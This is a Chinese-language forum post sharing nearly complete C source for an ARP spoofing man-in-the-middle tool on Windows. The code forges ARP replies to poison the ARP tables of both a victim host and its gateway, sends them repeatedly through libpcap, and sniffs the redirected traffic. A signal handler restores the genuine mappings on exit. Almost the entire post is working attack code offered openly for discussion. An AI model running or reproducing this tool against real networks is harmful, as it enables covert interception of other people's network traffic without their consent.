- 论坛徽章:
- 0
|
看到论坛上有人在问,九贱N久之前写了一个小程序,用来完成这个功能,把代码贴出来,和大家讨论一下,呵呵!
因为这个功能当时做为程序的一个功能模块,所以单贴这部份代码,会感觉怪怪的:
主函数中要求三个要素:被欺骗主机,网关地址,自己的(欺骗者)的IP地址
用CreateThread 创建一个线程,用以发送ARP欺骗包,被欺骗者的IP数据包将会被发送到欺骗者地址上来,如果打开了IP forward,则再将其转发出去,同时被欺骗的还有网关,这样,回来的数据包也将先发到自己的机器上来,再转发给被欺骗者。
另一个InterfaceThread 函数,用于嗅探。代码如下:
int main(int argc,char **argv)
{
……
/*arp spoof*/
else if((*argv)[1]=='s' && !(*argv)[2])
{
char filter[22];
strcpy(filter,"host ");
optflag=4;
pArpSpoofAddr=(ArpSpoofAddr *)malloc(sizeof(ArpSpoofAddr));
printf("Please input be spoof host ip address:");
scanf("%s",pArpSpoofAddr->RemoteAddr);
printf("Please input gateway host ip address:");
scanf("%s",pArpSpoofAddr->GateWayAddr);
printf("Please input in-between host MAC address(XX-XX-XX-XX-XX-XX):");
scanf("%x-%x-%x-%x-%x-%x",&pArpSpoofAddr->InBetweenMac[0],
&pArpSpoofAddr->InBetweenMac[1],&pArpSpoofAddr->InBetweenMac[2],
&pArpSpoofAddr->InBetweenMac[3],&pArpSpoofAddr->InBetweenMac[4],
&pArpSpoofAddr->InBetweenMac[5]);
//这里为发送欺骗包单独开一个线程,主要是从架构的角度出发,在添加会话挟持
//功能时可以和其它模块共用InterfaceThread
CreateThread(NULL,0,ArpSpoof,(LPVOID)pArpSpoofAddr,0,&ThreadID);
strcat(filter,pArpSpoofAddr->RemoteAddr);
InterfaceThread(filter);
}
……
}
线程函数是ArpSpoof,用来构建欺骗包:
/*
* Function:void ArpSpoof()
*
* Purpose:发送ARP欺骗包,进行ARP欺骗。
* 原理:先发送一个虚假ARP应答包给被欺骗者,让其刷新ARP表中网关的IP-MAC项,将
* MAC改为欺骗者的MAC;再发送一个虚假的包给网关,让其刷新ARP表中的被欺骗者的
* IP-MAC项,将MAC改为欺骗者MAC,这样,被欺骗者进出网关的数据都被“挟持”到欺
* 骗者主机之上。
* 不足:实际上这只是个实验品,因为其中并没有包存储转发模块,一旦执行的话,被欺骗
* 者的包只能转发,不能修改后再转发,因为libpcap库是拷贝一份包,不是截获,要做这个,看来得NDIS Hook了,留待下一个版本再来完成 *
* Arguments:NULL
*
* Returns:void function
*/
DWORD WINAPI ArpSpoof(LPVOID lpPara)
{
struct in_addr nRemoteAddr; //被欺骗者IP
unsigned char nRemoteAddrMac[6]; //被欺骗者MAC
struct in_addr nGateWayAddr; //网关IP
unsigned char nGateWayAddrMac[6]; //网关MAC
u_int8_t InBetweenMac[6]; //欺骗的中间人MAC地址
ArpSpoofAddr *pArpSpoofAddr;
HINSTANCE hInst; //DLL句柄
PSENDARP pSendArp; //发送ARP包的函数指针
unsigned char PacketRemote[60]; //发送给被欺骗者的ARP应答包
unsigned char PacketGateWay[60]; //发送给网关的ARP应答包
char *p; //包临时指针
ULONG MacLength; //MAC地址长度
EtherHdr *eh; //以太包头
EtherARP *ah; //ARP包头
int i;
pArpSpoofAddr=(ArpSpoofAddr *)lpPara; //取得相关地址信息
/*加载iphlpapi.dll*/
hInst=LoadLibrary("iphlpapi.dll");
if(!hInst)
{
printf("Can't Load iphlpapi.dll.\n");
}
/*获取函数SendArp地址*/
pSendArp=(PSENDARP)GetProcAddress(hInst,"SendARP");
/*欺骗主机IP地址*/
nRemoteAddr.S_un.S_addr=inet_addr(pArpSpoofAddr->RemoteAddr);
MacLength=6;
/*获取被欺骗主机真实MAC地址*/
i=pSendArp(nRemoteAddr.S_un.S_addr,0,(PULONG)&nRemoteAddrMac,&MacLength);
if(i!=NO_ERROR)
{
printf("can't obtain %s mac address.\n");
return 0;
}
/*网关IP地址*/
nGateWayAddr.S_un.S_addr=inet_addr(pArpSpoofAddr->GateWayAddr);
MacLength=6;
/*获取网关真实MAC地址*/
i=pSendArp(nGateWayAddr.S_un.S_addr,0,(PULONG)&nGateWayAddrMac,&MacLength);
if(i!=NO_ERROR)
{
printf("can't obtain %s mac address.\n");
return 0;
}
/*这里先把真实地址信息保存下来,以便退出程序的时候,还原正确的地址信息*/
pResetAddr=(ResetAddr *)malloc(sizeof(ResetAddr));
memcpy(&pResetAddr->nGateWayAddr,&nGateWayAddr,sizeof(struct in_addr));
memcpy(&pResetAddr->nRemoteAddr,&nRemoteAddr,sizeof(struct in_addr));
memcpy(&pResetAddr->nGateWayAddrMac,&nGateWayAddrMac,6);
memcpy(&pResetAddr->nRemoteAddrMac,&nRemoteAddrMac,6);
pResetAddr->SendFlag=1;
memcpy(InBetweenMac,(ArpSpoofAddr *)pArpSpoofAddr->InBetweenMac,6);
/*释放dll*/
if(!FreeLibrary(hInst))
{
printf("Can't free iphlpapi.dll");
}
/*开始构造两个欺骗包:对被欺骗者和网关*/
eh=(EtherHdr*)malloc(sizeof(EtherHdr));
ah=(EtherARP*)malloc(sizeof(EtherARP));
/*开始构建发给被欺骗者的ARP 应答包*/
for(i=0;i<6;i++)
{
eh->ether_dst[i ]=(u_int8_t)nRemoteAddrMac[i ]; //目的MAC
eh->ether_src[i ]=InBetweenMac[i ]; //来源MAC,换成欺骗者的MAC
}
eh->ether_type=htons(0x0806); //协议码
ah->ea_hdr.ar_hrd=htons(0x0001); //操作码
ah->ea_hdr.ar_pro=htons(0x0800); //协议标记
ah->ea_hdr.ar_hln=6; //硬件地址长度
ah->ea_hdr.ar_pln=4; //协议地址长度
ah->ea_hdr.ar_op=htons(0x0002); //ARP操作码
for(i=0;i<6;i++) //源地址MAC和目的地址MAC
{
ah->arp_sha[i ]=InBetweenMac[i ]; //在ARP应答包中,应答者用自己的MAC填充Sender's hardware address域,这里用欺骗者的MAC替换它
ah->arp_tha[i ]=(u_int8_t)nRemoteAddrMac[i ];
}
/*源IP*/
ah->arp_spa[3]=(u_int8_t)(inet_addr(pArpSpoofAddr->GateWayAddr)>>24)&0x000000FF; //应答者IP,我们是伪装网关给被欺骗者发送应答包,帮填入网关IP
ah->arp_spa[2]=(u_int8_t)(inet_addr(pArpSpoofAddr->GateWayAddr)>>16)&0x000000FF;
ah->arp_spa[1]=(u_int8_t)(inet_addr(pArpSpoofAddr->GateWayAddr)>>8)&0x000000FF;
ah->arp_spa[0]=(u_int8_t)inet_addr(pArpSpoofAddr->GateWayAddr)&0x000000FF;
/*目的IP*/
ah->arp_tpa[3]=(u_int8_t)(inet_addr(pArpSpoofAddr->RemoteAddr)>>24)&0x000000FF; //被欺骗者IP
ah->arp_tpa[2]=(u_int8_t)(inet_addr(pArpSpoofAddr->RemoteAddr)>>16)&0x000000FF;
ah->arp_tpa[1]=(u_int8_t)(inet_addr(pArpSpoofAddr->RemoteAddr)>>8)&0x000000FF;
ah->arp_tpa[0]=(u_int8_t)inet_addr(pArpSpoofAddr->RemoteAddr)&0x000000FF;
/*待发送空间清零*/
memset(PacketRemote,0,60);
p=PacketRemote;
memcpy(p,eh,sizeof(EtherHdr)); /*填充以太头*/
memcpy(p+sizeof(EtherHdr),ah,sizeof(EtherARP)); /*填充ARP头*/
/*伪造被欺骗者发送给网关ARP应答包*/
for(i=0;i<6;i++)
{
eh->ether_dst[i]=(u_int8_t)nGateWayAddrMac[i]; //目的MAC
eh->ether_src[i]=InBetweenMac[i]; //来源MAC
}
eh->ether_type=htons(0x0806); //协议码
ah->ea_hdr.ar_hrd=htons(0x0001); //操作码
ah->ea_hdr.ar_pro=htons(0x0800); //协议标记
ah->ea_hdr.ar_hln=6; //硬件地址长度
ah->ea_hdr.ar_pln=4; //协议地址长度
ah->ea_hdr.ar_op=htons(0x0002); //ARP操作码
for(i=0;i<6;i++) //源地址MAC和目的地址MAC
{
ah->arp_sha[i]=InBetweenMac[i];
ah->arp_tha[i]=(u_int8_t)nGateWayAddrMac[i];
}
ah->arp_spa[3]=(u_int8_t)(inet_addr(pArpSpoofAddr->RemoteAddr)>>24)&0x000000FF; //应答者IP,我们是伪装被欺骗者给网关一个应答包,帮填入被欺骗者的IP
ah->arp_spa[2]=(u_int8_t)(inet_addr(pArpSpoofAddr->RemoteAddr)>>16)&0x000000FF;
ah->arp_spa[1]=(u_int8_t)(inet_addr(pArpSpoofAddr->RemoteAddr)>>8)&0x000000FF;
ah->arp_spa[0]=(u_int8_t)inet_addr(pArpSpoofAddr->RemoteAddr)&0x000000FF;
ah->arp_tpa[3]=(u_int8_t)(inet_addr(pArpSpoofAddr->GateWayAddr)>>24)&0x000000FF; //被欺骗者IP
ah->arp_tpa[2]=(u_int8_t)(inet_addr(pArpSpoofAddr->GateWayAddr)>>16)&0x000000FF;
ah->arp_tpa[1]=(u_int8_t)(inet_addr(pArpSpoofAddr->GateWayAddr)>>8)&0x000000FF;
ah->arp_tpa[0]=(u_int8_t)inet_addr(pArpSpoofAddr->GateWayAddr)&0x000000FF;
/*待发送空间清零*/
memset(PacketGateWay,0,60);
p=PacketGateWay;
memcpy(p,eh,sizeof(EtherHdr)); /*填充以太头*/
memcpy(p+sizeof(EtherHdr),ah,sizeof(EtherARP)); /*填充ARP头*/
SendArpSpoof(PacketRemote,PacketGateWay); //发送被欺骗包
free(eh);
free(ah);
return 0;
}
其中,发送数据包,是通过调用SendArpSpoof 来完成的:
void SendArpSpoof(unsigned char *PacketRemote,unsigned char *PacketGateWay)
{
pcap_if_t *d;
char error[PCAP_ERRBUF_SIZE];
/*设置中断信号量,因为我们需要在程序退出的时候释放资源,显示统计信息*/
signal(SIGINT, SigSpoofTermHandler);
/* Retrieve the device list */
if (pcap_findalldevs(&d, error) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs: %s\n", error);
exit(1);
}
/* 打开指定网卡 */
if((fp = pcap_open_live(d->name, 100, 1, 1000, error) ) == NULL)
{
fprintf(stderr,"\nError opening adapter: %s\n", error);
exit(1);
}
pcap_freealldevs(d);
/* 发送包 */
while(pResetAddr->SendFlag==1)
{
pcap_sendpacket(fp,PacketRemote,60);
Sleep(1000);
pcap_sendpacket(fp,PacketGateWay,60);
Sleep(1000);
}
}
//这个函数,在结束信号发送过来的时候被触发,如Ctrl+C,用来做还原现场的处理,包的构造和前面类似:
void SigSpoofTermHandler(int signal)
{
EtherHdr *eh; //以太包头
EtherARP *ah; //ARP包头
int i;
unsigned char PacketRemote[60];
unsigned char PacketGateWay[60];
unsigned char *p;
eh=(EtherHdr*)malloc(sizeof(EtherHdr));
ah=(EtherARP*)malloc(sizeof(EtherARP));
/*先封装gw->被欺骗者的ARP应答包*/
for(i=0;i<6;i++)
{
eh->ether_dst[i]=(u_int8_t)pResetAddr->nRemoteAddrMac[i]; //目的MAC
eh->ether_src[i]=(u_int8_t)pResetAddr->nGateWayAddrMac[i]; //来源MAC
}
eh->ether_type=htons(0x0806); //协议码
ah->ea_hdr.ar_hrd=htons(0x0001); //操作码
ah->ea_hdr.ar_pro=htons(0x0800); //协议标记
ah->ea_hdr.ar_hln=6; //硬件地址长度
ah->ea_hdr.ar_pln=4; //协议地址长度
ah->ea_hdr.ar_op=htons(0x0002); //ARP操作码
for(i=0;i<6;i++) //源地址MAC和目的地址MAC
{
ah->arp_sha[i]=(u_int8_t)pResetAddr->nGateWayAddrMac[i];
ah->arp_tha[i]=(u_int8_t)pResetAddr->nRemoteAddrMac[i];
}
/*源IP*/
ah->arp_spa[3]=(u_int8_t)(pResetAddr->nGateWayAddr.S_un.S_addr>>24)&0x000000FF; //应答者IP,我们是伪装网关给被欺骗者发送应答包,帮填入网关IP
ah->arp_spa[2]=(u_int8_t)(pResetAddr->nGateWayAddr.S_un.S_addr>>16)&0x000000FF;
ah->arp_spa[1]=(u_int8_t)(pResetAddr->nGateWayAddr.S_un.S_addr>>8)&0x000000FF;
ah->arp_spa[0]=(u_int8_t)pResetAddr->nGateWayAddr.S_un.S_addr&0x000000FF;
/*目的IP*/
ah->arp_tpa[3]=(u_int8_t)(pResetAddr->nRemoteAddr.S_un.S_addr>>24)&0x000000FF; //被欺骗者IP
ah->arp_tpa[2]=(u_int8_t)(pResetAddr->nRemoteAddr.S_un.S_addr>>16)&0x000000FF;
ah->arp_tpa[1]=(u_int8_t)(pResetAddr->nRemoteAddr.S_un.S_addr>>8)&0x000000FF;
ah->arp_tpa[0]=(u_int8_t)pResetAddr->nRemoteAddr.S_un.S_addr&0x000000FF;
/*待发送空间清零*/
memset(PacketRemote,0,60);
p=PacketRemote;
memcpy(p,eh,sizeof(EtherHdr)); /*填充以太头*/
memcpy(p+sizeof(EtherHdr),ah,sizeof(EtherARP)); /*填充ARP头*/
for(i=0;i<6;i++)
{
eh->ether_src[i]=(u_int8_t)pResetAddr->nRemoteAddrMac[i]; //目的MAC
eh->ether_dst[i]=(u_int8_t)pResetAddr->nGateWayAddrMac[i]; //来源MAC
}
eh->ether_type=htons(0x0806); //协议码
ah->ea_hdr.ar_hrd=htons(0x0001); //操作码
ah->ea_hdr.ar_pro=htons(0x0800); //协议标记
ah->ea_hdr.ar_hln=6; //硬件地址长度
ah->ea_hdr.ar_pln=4; //协议地址长度
ah->ea_hdr.ar_op=htons(0x0002); //ARP操作码
for(i=0;i<6;i++) //源地址MAC和目的地址MAC
{
ah->arp_tha[i]=(u_int8_t)pResetAddr->nGateWayAddrMac[i];
ah->arp_sha[i]=(u_int8_t)pResetAddr->nRemoteAddrMac[i];
}
/*源IP*/
ah->arp_tpa[3]=(u_int8_t)(pResetAddr->nRemoteAddr.S_un.S_addr>>24)&0x000000FF; //应答者IP,我们是伪装网关给被欺骗者发送应答包,帮填入网关IP
ah->arp_tpa[2]=(u_int8_t)(pResetAddr->nRemoteAddr.S_un.S_addr>>16)&0x000000FF;
ah->arp_tpa[1]=(u_int8_t)(pResetAddr->nRemoteAddr.S_un.S_addr>>8)&0x000000FF;
ah->arp_tpa[0]=(u_int8_t)pResetAddr->nRemoteAddr.S_un.S_addr&0x000000FF;
/*目的IP*/
ah->arp_spa[3]=(u_int8_t)(pResetAddr->nGateWayAddr.S_un.S_addr>>24)&0x000000FF; //被欺骗者IP
ah->arp_spa[2]=(u_int8_t)(pResetAddr->nGateWayAddr.S_un.S_addr>>16)&0x000000FF;
ah->arp_spa[1]=(u_int8_t)(pResetAddr->nGateWayAddr.S_un.S_addr>>8)&0x000000FF;
ah->arp_spa[0]=(u_int8_t)pResetAddr->nGateWayAddr.S_un.S_addr&0x000000FF;
/*待发送空间清零*/
memset(PacketGateWay,0,60);
p=PacketGateWay;
memcpy(p,eh,sizeof(EtherHdr)); /*填充以太头*/
memcpy(p+sizeof(EtherHdr),ah,sizeof(EtherARP)); /*填充ARP头*/
pResetAddr->SendFlag=0;
Sleep(1000);
for(i=0;i<3;i++)
{
pcap_sendpacket(fp,PacketRemote,60);
pcap_sendpacket(fp,PacketGateWay,60);
}
free(eh);
free(ah);
free(pResetAddr);
printf("OK,Spoof is over,exit...\n");
#ifdef _DEBUG
printf("clean over,exit.\n");
#endif
exit(0);
}
[[i] 本帖最后由 独孤九贱 于 2006-5-19 13:32 编辑 [/i]] |
|